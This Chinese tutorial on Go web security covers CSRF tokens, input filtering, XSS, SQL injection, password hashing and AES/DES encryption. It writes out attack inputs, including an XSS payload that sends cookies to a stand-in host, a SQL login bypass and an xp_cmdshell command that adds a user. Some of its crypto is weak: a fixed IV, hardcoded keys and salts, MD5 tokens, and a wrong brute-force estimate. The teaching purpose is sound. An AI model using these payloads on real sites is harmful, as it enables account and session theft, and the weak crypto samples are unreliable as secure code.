Go Web 应用安全与加密实战指南:从 CSRF、XSS、SQL 注入到密码存储与数据加解密
Go Web 应用安全与加密实战指南:从 CSRF、XSS、SQL 注入到密码存储与数据加解密
本篇指南以开源仓库 build-web-application-with-golang 中文版第 9 章(安全与加密)及其小结为核心,系统梳理 Go 开发者在构建 Web 应用时必须掌握的六大安全主题:CSRF 跨站请求伪造、输入过滤、XSS 跨站脚本攻击、SQL 注入、密码安全存储,以及敏感数据的对称加解密。读完本文,你将能够识别这几类典型攻击的成因与攻击链路,并直接使用 Go 标准库(net/http、crypto/md5、crypto/sha1、crypto/sha256、crypto/aes、crypto/des、encoding/base64、text/template)写出可落地的防御代码,把"安全意识"落实到每一个表单、每一句 SQL、每一条密码存储逻辑中。
开篇:为什么 Web 安全要从"不信任输入"开始
第 9 章绪论开宗明义:很多 Web 应用的安全问题都源于轻信了第三方提供的数据。用户的输入、数据库内容、第三方接口返回的数据,在验证之前都应视为不安全数据。如果直接把不安全数据输出到客户端,可能造成 XSS 跨站脚本攻击;把不安全数据拼进数据库查询,可能造成 SQL 注入;而伪造的请求,则可能造成 CSRF 攻击。这三个典型问题(连同输入过滤、密码存储、加解密)构成了本章的全部内容,9.7 小结将它们统摄为一条主线:
攻击手法源于"对用户输入没有很好的过滤";对策是"有效的数据过滤 + 分级加密方案 + 对称加解密工具"。
下文按这条主线依次展开。
一、预防 CSRF 跨站请求伪造
1.1 什么是 CSRF 与攻击原理
CSRF(Cross-site request forgery,跨站请求伪造),又称 one click attack / session riding,缩写为 CSRF/XSRF。攻击者借助社会工程学(例如通过 QQ 等聊天软件发送伪装成短域名的链接),盗用受害者的登录身份,以受害者名义发送攻击者预设的请求。例如:用户登录网上银行后未退出,点击了聊天软件发来的恶意链接,账户资金就可能被转移到攻击者指定账户;若受害终端用户拥有管理员账户,CSRF 甚至可能危及整个 Web 应用。
一次完整的 CSRF 攻击要求受害者依次完成两个步骤:
- 登录受信任网站 A,并在本地生成 Cookie;
- 在不退出 A 的情况下,访问危险网站 B。
用户很难规避这一风险:多标签浏览器下你无法保证登录 A 后不再访问其他网站;你也无法保证关闭浏览器后本地 Cookie 立刻过期;"攻击网站"甚至可能是一个本身存在其他漏洞、被频繁访问的可信网站。CSRF 的本质成因是 Web 的隐式身份验证机制——它只能证明请求来自某个用户的浏览器,却无法证明该请求是用户批准发送的。
下图为 CSRF 攻击过程示意:
1.2 服务端防御:正确使用 GET/POST 与非 GET 请求伪随机数
CSRF 的防御可从服务端和客户端两方面着手,服务端效果更好。服务端防御思想统一,主要从两点入手:
- 正确使用 GET、POST 和 Cookie:GET 只用于查看、列举、展示等不改变资源属性的操作;POST 用于下达订单、改变资源属性等写操作。
- 在非 GET 请求中增加伪随机数。
以 Go 路由为例,限制资源只能通过 POST 修改:
mux.Get("/user/:uid", getuser)
mux.Post("/user/:uid", modifyuser)
限定"修改只能用 POST"后,GET 方式的 CSRF 攻击即被拦截,但 POST 同样可以被模拟,因此需要第二步:在非 GET 请求中嵌入伪随机数(token)。原文档给出三种思路:
- 为每个用户生成唯一的 Cookie token,所有表单共用同一个伪随机值——最简单,但依赖"无 XSS"前提,因为 Cookie 可能被 XSS 盗取;
- 每个请求使用验证码——安全性高但用户友好性差,不适合实际应用;
- 不同的表单包含不同的伪随机值——这是 4.4 节"防止多次递交表单" 就介绍过的方案,可直接复用。
生成随机 token 并渲染进模板:
h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
io.WriteString(h, "ganraomaxxxxxxxxx")
token := fmt.Sprintf("%x", h.Sum(nil))
t, _ := template.ParseFiles("login.gtpl")
t.Execute(w, token)
模板中以隐藏字段输出 token:
<input type="hidden" name="token" value="{{.}}">
服务端接收时校验 token:
r.ParseForm()
token := r.Form.Get("token")
if token != "" {
//验证token的合法性
} else {
//不存在token报错
}
关于"破解 token 算法"的担忧:理论上可行,实际几乎不可能——按原文档引用的估算,暴力破解该串约需 2 的 11 次方量级的时间成本。
1.3 仓库源码佐证:nonce 一次性令牌实现
仓库的配套代码将这一思路工程化成了可复用的 nonce 包,见 en/code/src/apps/ch.4.4/nonce/main.go。它把"表单防重提交 + CSRF 防护"封装为三个概念:
Nonce:包含唯一Token的一次性字符串;Nonces:用map[string]bool记录已标记/已使用的 token;- 核心流程:
NewToken()生成唯一 token →CheckToken()校验(空 token 报 "No token supplied",重复提交报 "Duplicate submission")→CheckThenMarkToken()校验后立刻标记,防止同一 token 被二次使用。
其 token 生成算法与文档思路一致,但融入了更强的随机性:
func createToken() string {
h := md5.New()
now := time.Now().Unix()
io.WriteString(h, strconv.FormatInt(now, 10))
io.WriteString(h, strconv.FormatInt(rand.Int63(), 10))
return fmt.Sprintf("%x", h.Sum(nil))
}
从源码结构可以看出,CheckThenMarkToken 采用"先校验、后标记(defer MarkToken)"的模式,把 token 一次性消费掉——这既防止表单多次递交,也堵住了同一 token 被重放攻击的路径。更完整的表单处理示例见 en/code/src/apps/ch.4.4/main.go。
二、确保输入过滤:Web 安全的基石
2.1 过滤的三步方法论
过滤用户数据是 Web 应用安全的基础,绝大多数漏洞都源于没有恰当过滤用户输入。原文档把过滤拆成三个步骤:
- 识别数据:搞清数据来自哪里。所有源自非代码内部的数据都要识别,包括客户端数据、数据库内容、第三方接口数据。Go 中用户输入很容易识别——
r.ParseForm()之后,用户 POST 和 GET 的数据都进了r.Form;但r.Header中很多元素也由客户端操纵(例如r.Header.Get("Accept-Charset")),最稳妥的做法是把它们全部视为用户输入。 - 过滤数据:弄明白我们需要什么样的数据。过滤是"使用数据前的合法性检查",而不是"好心纠正非法数据"——历史证明试图纠正非法数据往往导致安全漏洞(原文档举例:某银行系统升级后,密码后两位为 0 时只输入前四位即可登录)。
- 区分已过滤与被污染数据:约定把所有经过过滤的数据放入全局
CleanMap,并做到两条铁律——每个请求初始化CleanMap为空 Map;检查并阻止来自外部数据源的变量被命名为CleanMap。
2.2 常用过滤手段与白名单思想
过滤主要依赖以下三类库:
strconv包:r.Form返回的是字符串,需要转整/浮点数时使用Atoi、ParseBool、ParseFloat、ParseInt等;strings包:Trim、ToLower、ToTitle等按指定格式获取信息;regexp包:处理复杂校验,例如判定输入是否为 Email、生日格式。
白名单思想是过滤的高级形态:假定正在检查的数据都是非法的,除非能证明其合法。这样即便出错,也只会把合法数据误判为非法,而绝不会把非法数据放进来——比黑名单安全得多。
以下面的表单为例,攻击者完全可以模拟 POST 提交 name=attack 这样的数据,因此不能信任"只能提交三个选项之一"的假设:
<form action="/whoami" method="POST">
我是谁:
<select name="name">
<option value="astaxie">astaxie</option>
<option value="herry">herry</option>
<option value="marry">marry</option>
</select>
<input type="submit" />
</form>
用白名单方式过滤并写入 CleanMap:
r.ParseForm()
name := r.Form.Get("name")
CleanMap := make(map[string]interface{}, 0)
if name == "astaxie" || name == "herry" || name == "marry" {
CleanMap["name"] = name
}
对于"由一组合法字符组成"的数据(例如用户名只能由字母和数字组成),则用正则过滤:
r.ParseForm()
username := r.Form.Get("username")
CleanMap := make(map[string]interface{}, 0)
if ok, _ := regexp.MatchString("^[a-zA-Z0-9]+$", username); ok {
CleanMap["username"] = username
}
三、避免 XSS 跨站脚本攻击
3.1 什么是 XSS 与两大类型
XSS(Cross-Site Scripting,跨站脚本攻击)为避免与层叠样式表 CSS 混淆而缩写为 XSS。与只涉及攻击者和受害者的大多数攻击不同,XSS 涉及三方:攻击者、客户端与 Web 应用,其目标是盗取存储在客户端的 Cookie 或其他用于识别客户端身份的敏感信息,甚至假冒合法用户与网站交互。
XSS 通常分为两大类:
- 存储型 XSS:出现在"用户输入数据、供其他浏览此页的用户查看"的地方(留言、评论、博客日志、各类表单)。攻击者在相关页面输入恶意脚本数据,存入数据库后再显示给其他用户。流程为:恶意 HTML 输入 → Web 程序 → 数据库 → Web 程序 → 用户浏览器。
- 反射型 XSS:将脚本代码加入 URL 请求参数,参数进入程序后在页面直接输出。用户点击类似恶意链接即受攻击。
XSS 的主要手段和目的包括:盗用 Cookie 获取敏感信息;利用 Flash crossdomain 权限或 Java 等手段提升权限;通过 iframe、frame、XMLHttpRequest 以受害者身份执行发微博、加好友、发私信等操作;利用"可被攻击的域受其他域信任"的特点以受信来源身份请求平时不允许的操作;在访问量极大的页面上对小型网站实施 DDoS 效果。
3.2 XSS 原理演示
Web 应用未对用户提交数据做充分检查过滤,允许数据中掺入 HTML 代码(最主要的是 >、<),并将未转义的恶意代码输出到第三方浏览器解释执行,即产生 XSS 漏洞。以反射型为例:网站根据参数输出用户名,访问 http://127.0.0.1/?name=astaxie 输出 hello astaxie;若传 name=<script>alert('astaxie,xss')</script>,浏览器会弹出对话框,说明站点存在 XSS 漏洞。盗取 Cookie 则利用 name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>,把当前 Cookie 发送到指定站点。这类 URL 虽可疑,但经短网址服务缩短后难以辨别,用户一旦点击,Cookie 即被窃取。
3.3 防御手段
核心原则只有一条:坚决不要相信用户的任何输入,并过滤掉输入中的所有特殊字符。具体方式:
- 过滤特殊字符:
text/template包提供了HTMLEscapeString、JSEscapeString等 HTML 过滤函数,在输出到客户端前对内容转义。 - 使用 HTTP 头指定类型:
w.Header().Set("Content-Type", "text/javascript")
让浏览器按 JavaScript 解析输出,而不会当作 HTML 执行。在 4.3 节"预防跨站脚本" 中还有更完整的转义演示与效果截图(zh/images/4.3.escape.png)。
四、避免 SQL 注入
4.1 什么是 SQL 注入
SQL 注入攻击是 Web 开发中最常见的安全漏洞之一,可用于从数据库获取敏感信息、利用数据库特性添加用户、导出文件,甚至获取数据库乃至系统最高权限。成因是程序没有有效过滤用户输入,把攻击者的输入错误地当作查询语句的一部分执行,改变了原始查询逻辑。
4.2 注入实例
考虑如下登录表单:
<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="登陆" /></p>
</form>
对应的 SQL 查询直接拼接用户输入:
username := r.Form.Get("username")
password := r.Form.Get("password")
sql := "SELECT * FROM user WHERE username='" + username + "' AND password='" + password + "'"
若用户名输入 myuser' or 'foo' = 'foo' --,SQL 变成:
SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'
-- 在 SQL 中是注释标记,查询在此中断,攻击者无需知道任何合法用户名密码即可登录。更危险的是 MSSQL 系统命令注入:对 SELECT * FROM products WHERE name LIKE '%"+prod+"%' 提交 a%' exec master..xp_cmdshell 'net user test testpass /ADD' --,MSSQL 服务器会执行追加的创建系统用户命令;若程序以 sa 运行且服务有足够权限,攻击者即可获得系统级访问。虽然这些例子针对特定数据库系统,但各类数据库只要方法得当,都可能遭受类似攻击。
4.3 六条防御建议
- 严格限制数据库操作权限:给应用用户提供仅能满足工作的最低权限,最大限度减少注入危害。
- 检查输入数据的格式:严格限制变量类型,用
regexp包做匹配处理,或用strconv包把字符串转为基本类型后判断。 - 对进入数据库的特殊字符转义/编码:
text/template包的HTMLEscapeString可对字符串转义处理。 - 使用参数化查询:不要直接拼接 SQL。用
database/sql的Prepare和Query,或Exec(query string, args ...interface{})传入参数。 - 发布前用专业工具检测:如 sqlmap、SQLninja 等开源工具。
- 避免打印 SQL 错误信息:防止类型错误、字段不匹配等信息暴露 SQL 语句细节。
4.4 仓库源码佐证:参数化查询的标准用法
en/code/src/apps/ch.5.2/main.go 展示了 Go 官方推荐的参数化写法——全部 CRUD 都通过 db.Prepare 加占位符 ? 完成:
stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?")
res, err := stmt.Exec("astaxie", "software developement", "2012-12-09")
stmt, err = db.Prepare("update userinfo set username=? where uid=?")
res, err = stmt.Exec("astaxieupdate", id)
用户输入只作为参数传入、不嵌入 SQL 字符串,从底层杜绝了注入改写查询逻辑的可能,与第 9 章的防御建议一一对应。
五、存储密码:从普通方案到专家方案
面对频繁的密码泄漏事件(原文档提及 Linkedin、CSDN、多玩等案例),开发者需要警惕密码存储方案的陷阱。
5.1 普通方案:单向哈希的局限
最常见方案是将明文密码做单向哈希后存储。单向哈希无法从摘要恢复原始数据,常用算法有 SHA-256、SHA-1、MD5,Go 实现如下:
//import "crypto/sha256"
h := sha256.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))
//import "crypto/sha1"
h := sha1.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))
//import "crypto/md5"
h := md5.New()
io.WriteString(h, "需要加密的密码")
fmt.Printf("%x", h.Sum(nil))
但单向哈希有两个致命特性:同一密码哈希结果唯一确定;计算速度快,一秒可达数十亿次。攻击者据此可把所有常见密码组合做哈希得到摘要组合(即 rainbow table / 彩虹表),与数据库摘要比对即可还原密码。因此,单纯单向哈希存储与明文存储区别不大。
5.2 进阶方案:加盐(salt)
直接思路是让黑客不知道哈希算法——但自行设计好算法极难,开源的多次 MD5 又等于把算法告诉攻击者。现实做法是加盐:先对密码做一次 MD5(或其他哈希),再把得到的 MD5 值前后加上只有管理员知道的随机串(可含固定串,也可含用户名以保证每个用户密钥不同),再做一次 MD5:
//import "crypto/md5"
//假设用户名abc,密码123456
h := md5.New()
io.WriteString(h, "需要加密的密码")
//pwmd5等于e10adc3949ba59abbe56e057f20f883e
pwmd5 := fmt.Sprintf("%x", h.Sum(nil))
//指定两个 salt: salt1 = @#$% salt2 = ^&*()
salt1 := "@#$%"
salt2 := "^&*()"
//salt1+用户名+salt2+MD5拼接
io.WriteString(h, salt1)
io.WriteString(h, "abc")
io.WriteString(h, salt2)
io.WriteString(h, pwmd5)
last := fmt.Sprintf("%x", h.Sum(nil))
在两个 salt 未泄露的前提下,黑客拿到最终加密串也几乎无法反推原始密码。
5.3 专家方案:scrypt 计算强度拉伸
随着并行计算能力提升,加盐方案建立的彩虹表也变成可行攻击。根本解法是故意增加密码计算所需的资源和时间:算法中用一个因子指明计算强度,强度越大,建立彩虹表越困难以至于不可行。
推荐的 scrypt 方案由 FreeBSD 黑客 Colin Percival 为其备份服务 Tarsnap 开发,Go 语言由 golang.org/x/crypto/scrypt 提供支持:
dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)
参数依次为:密码、盐、CPU/内存成本参数 N=16384、块大小参数 r=8、并行化参数 p=1、派生密钥长度 32 字节。通过调节这些强度因子,可让单次计算慢到攻击者无法负担大规模彩虹表的建立——按原文档的评价,这是目前为止最难破解的方案。
六、加密和解密数据:base64、AES 与 DES
当需要"加密存储、将来解密读取"时,应选用对称加密算法。Go 语言主要提供三种:base64、AES 和 DES。
6.1 base64 加解密
对安全性要求不高的简单应用,可用实现最简单的 base64:
package main
import (
"encoding/base64"
"fmt"
)
func base64Encode(src []byte) []byte {
return []byte(base64.StdEncoding.EncodeToString(src))
}
func base64Decode(src []byte) ([]byte, error) {
return base64.StdEncoding.DecodeString(string(src))
}
func main() {
// encode
hello := "你好,世界! hello world"
debyte := base64Encode([]byte(hello))
fmt.Println(debyte)
// decode
enbyte, err := base64Decode(debyte)
if err != nil {
fmt.Println(err.Error())
}
if hello != string(enbyte) {
fmt.Println("hello is not equal to enbyte")
}
fmt.Println(string(enbyte))
}
需要说明的是:从算法本质看,base64 属于编码而非加密(可被任何人解码),它只能应对"足够简单、无严格安全要求"的场景;真正需要保密时请使用下文的高级算法。
6.2 AES 与 DES 高级加解密
Go 的 crypto 中支持的高级对称加密包:
crypto/aes:AES(Advanced Encryption Standard),又称 Rijndael 加密法,是美国联邦政府采用的区块加密标准;crypto/des:DES(Data Encryption Standard),曾是美国联邦政府加密标准,目前使用最广泛的密钥系统之一,尤其用于金融数据保护,现已被 AES 替代。
两种算法用法类似,以下以 AES 为例:
package main
import (
"crypto/aes"
"crypto/cipher"
"fmt"
"os"
)
var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}
func main() {
//需要去加密的字符串
plaintext := []byte("My name is Astaxie")
//如果传入加密串的话,plaint就是传入的字符串
if len(os.Args) > 1 {
plaintext = []byte(os.Args[1])
}
//aes的加密字符串
key_text := "astaxie12798akljzmknm.ahkjkljl;k"
if len(os.Args) > 2 {
key_text = os.Args[2]
}
fmt.Println(len(key_text))
// 创建加密算法aes
c, err := aes.NewCipher([]byte(key_text))
if err != nil {
fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)
os.Exit(-1)
}
//加密字符串
cfb := cipher.NewCFBEncrypter(c, commonIV)
ciphertext := make([]byte, len(plaintext))
cfb.XORKeyStream(ciphertext, plaintext)
fmt.Printf("%s=>%x\n", plaintext, ciphertext)
// 解密字符串
cfbdec := cipher.NewCFBDecrypter(c, commonIV)
plaintextCopy := make([]byte, len(plaintext))
cfbdec.XORKeyStream(plaintextCopy, ciphertext)
fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy)
}
关键点:aes.NewCipher 的密钥参数必须是 16、24 或 32 字节的 []byte,分别对应 AES-128、AES-192、AES-256;它返回 cipher.Block 接口,该接口定义了三个方法:
type Block interface {
// BlockSize returns the cipher's block size.
BlockSize() int
// Encrypt encrypts the first block in src into dst.
// Dst and src may point at the same memory.
Encrypt(dst, src []byte)
// Decrypt decrypts the first block in src into dst.
// Dst and src may point at the same memory.
Decrypt(dst, src []byte)
}
配合 cipher.NewCFBEncrypter / cipher.NewCFBDecrypter(CFB 流模式,需提供与块等长的 IV,即示例中的 commonIV),通过 XORKeyStream 完成整段数据的加密与解密。
七、总结与配套资源
第 9 章 小结 的写作目的,是希望开发者在意识层面强化安全概念:CSRF、XSS、SQL 注入等典型攻击都源于对用户输入缺乏过滤;对策层面则包括数据过滤、从基础到专家的分级加密(普通哈希 → 加盐 → scrypt),以及 base64/AES/DES 三种对称加解密手段。Go 语言在防攻击方面已提供大量工具包,充分利用它们即可构建安全的 Web 应用。
各主题的完整实操与深入讲解,可继续阅读:
- 第 9 章引言:安全与加密总览
- 预防 CSRF 攻击:原理、防御与 token 方案
- 确保输入过滤:识别 / 过滤 / 区分三步法
- 避免 XSS 攻击:存储型与反射型 XSS 及防御
- 避免 SQL 注入:注入实例与六条防御建议
- 存储密码:普通 / 进阶 / 专家三级方案
- 加密和解密数据:base64、AES、DES 实现
仓库配套源码中,en/code/src/apps/ch.4.4/nonce/main.go 是可复用的 CSRF/防重提交 token 实现,en/code/src/apps/ch.4.4/main.go 演示了完整表单处理,en/code/src/apps/ch.5.2/main.go 展示了参数化查询的标准写法;全书目录见 zh/preface.md。下一章将进入国际化和本地化主题。
